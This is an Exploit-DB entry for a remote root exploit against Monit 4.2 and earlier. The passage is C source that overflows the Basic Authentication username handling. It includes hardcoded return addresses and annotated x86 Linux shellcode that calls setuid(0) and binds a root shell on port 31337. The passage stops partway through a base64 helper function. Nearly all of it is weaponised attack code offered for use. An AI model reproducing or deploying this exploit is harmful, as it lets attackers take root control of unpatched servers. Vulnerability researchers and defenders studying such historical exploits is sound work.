Exploit-DB #174
Description: Monit 4.2 - Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2004-04-12
Author: Abhisek Datta

Exploit:
/*
 * THE EYE ON SECURITY RESEARCH GROUP - INDIA
 *
 * www eos-india net poc 305monit.c
 * Remote Root Exploit for Monit <= 4.2
 * Vulnerability: Buffer overflow in handling of Basic Authentication informations.
 * Server authenticates clients through:
 * Authentication: Basic Base64Encode[UserName:Password]
 * Here we are exploiting the insecure handling of username in Basic Authentication information to return
 * control (EIP) to our payload.
 *
 * Nilanjan De [n2n linuxmail org] - Abhisek Datta [abhisek front ru]
 *
 * 06.04.2004
 * www eos-india net
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>

#define 	BUFF_SIZE	2048
#define		PADDING		40
#define		EXP_SIZE	(256+4+PADDING)
#define MAX_ARCH 2
struct eos{
	char *arch;
	unsigned long ret;
} targets[] = {
	"Monit-4.2-Gentoo",
	0xbf7fef02,
	//-------------------------------
	"Monit <=4.2 Crash",
	0xbadc0ded,
	NULL,
	0
};
/*
 x86 linux portbind a shell in port 31337
 based on shellcode from www.shellcode.com.ar
 with a few modifications by us
*/
 
char shellcode[]=
        /* sys_fork() */
	"\x31\xc0"                      // xorl         %eax,%eax
	"\x31\xdb"                      // xorl         %ebx,%ebx
	"\xb0\x02"                      // movb         $0x2,%al
	"\xcd\x80"                      // int          $0x80
	"\x38\xc3"                      // cmpl         %ebx,%eax
	"\x74\x05"                      // je           0x5
	/* sys_exit() */
	"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
	"\xcd\x80"                      // int          $0x80
        /* setuid(0) */
        "\x31\xc0"                      // xorl         %eax,%eax
        "\x31\xdb"                      // xorl         %ebx,%ebx
        "\xb0\x17"                      // movb         $0x17,%al
        "\xcd\x80"                      // int          $0x80
        /* socket() */
        "\x31\xc0"                      // xorl    %eax,%eax
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP = 0x0)
        "\x40"                          // incl    %eax
        "\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM = 0x1)
        "\x40"                          // incl    %eax
        "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
	"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\x45\x08"                  // movl    %eax,0x8(%ebp)

        /* bind()*/
        "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
        "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET = 0x2)
	"\x66\xc7\x45\x16\x7a\x69"      // movw    $0x697a,0x16(%ebp)(port=31337)
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
        "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
        "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
        "\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* listen() */
        "\x40"                          // incl    %eax
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x43"                          // incl    %ebx
        "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
 
        /* accept() */
        "\x43"                          // incl    %ebx
        "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
        "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
        "\xb0\x66"                      // movb    $0x66,%al
        "\xcd\x80"                      // int     $0x80
        "\x89\xc3"                      // movl    %eax,%ebx
 
        /* dup2() */
        "\x31\xc9"                      // xorl    %ecx,%ecx
        "\xb0\x3f"                      // movb    $0x3f,%al
        "\xcd\x80"                      // int     $0x80
        "\x41"                          // incl    %ecx
        "\x80\xf9\x03"                  // cmpb    $0x3,%cl
        "\x75\xf6"                      // jne     -0xa
 
        /* execve() */
        "\x31\xd2"                      // xorl    %edx,%edx
        "\x52"                          // pushl   %edx
        "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
        "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
        "\x89\xe3"                      // movl    %esp,%ebx
        "\x52"                          // pushl   %edx
        "\x53"                          // pushl   %ebx
        "\x89\xe1"                      // movl    %esp,%ecx
        "\xb0\x0b"                      // movb    $0xb,%al
        "\xcd\x80";                     // int     $0x80

void show_help(char *pr00gie,u_short opt) {
	int i=0;
	printf("==========> THE EYE ON SECURITY RESEARCH GROUP <==========\n");
	printf("Monit <= 4.2 Remote Root Exploit\n");
	printf("n2n[at]linuxmail[dot]org - abhisek[at]front[dot]ru\n");
	printf("http://www.eos-india.net\n\n");
	if(!opt)
		return;
	printf("[usage]\n");
	printf("%s [Remote Host] [Remote Port] [Target]\n",pr00gie);
	printf("[Available Targets]\n");
	while(targets[i].arch != NULL) {
		printf("%d. - %s\t - %p\n",(i),targets[i].arch,targets[i].ret);				
		i++;
	}
}
/* Base 64 code ripped from monit src */
/**
 * Base64 encode one byte
 */
static char encode(unsigned char u) {

  if(u < 26)  return 'A'+u;
  if(u < 52)  r